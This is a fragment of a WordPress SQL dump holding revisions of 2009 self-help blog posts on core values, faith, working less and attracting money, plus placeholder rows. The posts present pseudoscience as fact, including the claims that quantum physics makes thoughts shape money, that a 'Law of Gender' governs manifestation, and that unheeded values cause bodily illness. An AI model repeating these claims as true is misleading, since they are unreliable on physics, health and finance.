will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 15:34:41', '2009-07-08 22:34:41', '', 200, 'http://www.whitehotcenter.com/200-revision-16/', 0, 'revision', '', 0),
(436, 2, '2009-07-08 15:32:49', '2009-07-08 22:32:49', '<img title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />\r\n<h2><span style="color: #ff6600;">In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</span></h2>\r\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\r\n\r\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals. Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.\r\n\r\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\r\n\r\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\r\n\r\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\r\n', 'inherit', 'open', 'open', '', '19-revision-5', '', '', '2009-07-08 15:32:49', '2009-07-08 22:32:49', '', 19, 'http://www.whitehotcenter.com/19-revision-5/', 0, 'revision', '', 0),
(440, 1, '2009-06-08 19:10:23', '2009-06-09 02:10:23', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque.', 'The Second Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '187-revision-2', '', '', '2009-06-08 19:10:23', '2009-06-09 02:10:23', '', 187, 'http://www.whitehotcenter.com/187-revision-2/', 0, 'revision', '', 0),
(441, 1, '2009-06-08 19:11:09', '2009-06-09 02:11:09', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna.', 'The Third Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '189-revision-2', '', '', '2009-06-08 19:11:09', '2009-06-09 02:11:09', '', 189, 'http://www.whitehotcenter.com/189-revision-2/', 0, 'revision', '', 0),
(444, 2, '2009-07-08 15:19:08', '2009-07-08 22:19:08', 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance.  Every time, 100%, when they danced, it rained.  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple:  this particular tribe never stopped dancing. Think about that…they never stopped dancing until it rained!\r\n\r\nThat is faith in it''s most compelling form...\r\n\r\nFaith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced!\r\n\r\nFaith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. Governed, of course, by the Law of Gender.\r\n\r\nThe Law of Gender states that everything in nature has a gestation or an incubation period.  You may have commonly known this principal from the human pregnancy which is 280 days. That is the period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.  Ideas and dreams are also governed by the law of Gender.  Just like the law of gravity, the Law of Gender is always “on”, so it is critically important to gain greater awareness and understanding of how it works. Unlike elephants or humans, ideas take their own sweet time. Many people quit dancing for the fulfillment of their ideas before it was time. They give up too early and are not aware that the time necessary for manifestation just hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the law of gender on an idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they quit… and “guarantee” a result. Except it’s not the one they wanted but it is the one they created.\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith and the law of gender will work for you in creating what you want in life. Results are  guaranteed.   The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, and that the rains always, eventually come.\r\n\r\nWhat are you dancing for and what does your rain look like? Because, once you have what your dancing for firmly implanted with faith and belief in your sub-conscious mind, and you “know” that rain is coming, it will, it must. There are no exceptions this law. Enjoy the dance!', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-3', '', '', '2009-07-08 15:19:08', '2009-07-08 22:19:08', '', 29, 'http://www.whitehotcenter.com/29-revision-3/', 0, 'revision', '', 0),
(445, 2, '2009-07-08 15:56:22', '2009-07-08 22:56:22', '', 'workless', 0, '', 'inherit', 'open', 'open', '', 'workless', '', '', '2009-07-08 15:56:22', '2009-07-08 22:56:22', '', 28, 'http://www.whitehotcenter.com/wp-content/uploads/2007/10/workless.jpg', 0, 'attachment', 'image/jpeg', 0),
(446, 2, '2009-07-08 15:19:01', '2009-07-08 22:19:01', '<a href="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg"><img class="image-full" title="Workless_9" src="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg" border="0" alt="Workless_9" /></a>\r\n\r\nFor all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. At first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life. When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. After a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around. Start with what you love.\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love. Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals).', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-4', '', '', '2009-07-08 15:19:01', '2009-07-08 22:19:01', '', 28, 'http://www.whitehotcenter.com/28-revision-4/', 0, 'revision', '', 0),
(447, 2, '2009-07-08 15:58:07', '2009-07-08 22:58:07', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="300" height="300" /></a><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life. When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. After a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around. Start with what you love.\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love. Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals).', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-5', '', '', '2009-07-08 15:58:07', '2009-07-08 22:58:07', '', 28, 'http://www.whitehotcenter.com/28-revision-5/', 0, 'revision', '', 0);
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(448, 2, '2009-07-08 16:02:15', '2009-07-08 23:02:15', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="300" height="300" /></a><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around. Start with what you love.\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-6', '', '', '2009-07-08 16:02:15', '2009-07-08 23:02:15', '', 28, 'http://www.whitehotcenter.com/28-revision-6/', 0, 'revision', '', 0),
(451, 2, '2009-07-08 16:13:52', '2009-07-08 23:13:52', '<h2><span style="color: #ff6600;">Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.</span></h2>\r\nAfter many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n<h2><span style="color: #ff6600;">Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!</span></h2>\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.  It is important to love people, use money… and not get that in reverse.\r\n\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the world is full of self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.  Everybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.  Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?\r\n\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind. Your experience of poverty or abundance is a result of your thought.\r\n\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought.\r\n\r\n<strong>I would like to suggest that if you desire more money:</strong>\r\n<ul>\r\n	<li><strong>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</strong></li>\r\n	<li><strong>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</strong></li>\r\n	<li><strong>be in love with your worthy ideal, hold the image of it in your creative imagination.</strong></li>\r\n	<li><strong>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</strong></li>\r\n	<li><strong>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</strong></li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet. Exact laws of creation govern the universe–and so it is with the creation of money.\r\n\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\n<strong>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</strong>', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'inherit', 'open', 'open', '', '24-revision-4', '', '', '2009-07-08 16:13:52', '2009-07-08 23:13:52', '', 24, 'http://www.whitehotcenter.com/24-revision-4/', 0, 'revision', '', 0),
(452, 2, '2009-07-08 16:17:58', '2009-07-08 23:17:58', '<h2><span style="color: #ff6600;">Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.</span></h2>\r\nAfter many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n<h2><span style="color: #ff6600;">Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!</span></h2>\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.\r\n<h2><span style="color: #ff6600;">It is important to love people, use money… and not get that in reverse.</span></h2>\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the internet is bloated with self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.\r\n\r\nEverybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.\r\n<h2><span style="color: #ff6600;">Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?</span></h2>\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind. Your experience of poverty or abundance is a result of your thought.\r\n\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought.\r\n\r\n<strong>I would like to suggest that if you desire more money:</strong>\r\n<ul>\r\n	<li><strong>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</strong></li>\r\n	<li><strong>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</strong></li>\r\n	<li><strong>be in love with your worthy ideal, hold the image of it in your creative imagination.</strong></li>\r\n	<li><strong>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</strong></li>\r\n	<li><strong>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</strong></li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet. Exact laws of creation govern the universe–and so it is with the creation of money.\r\n\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… 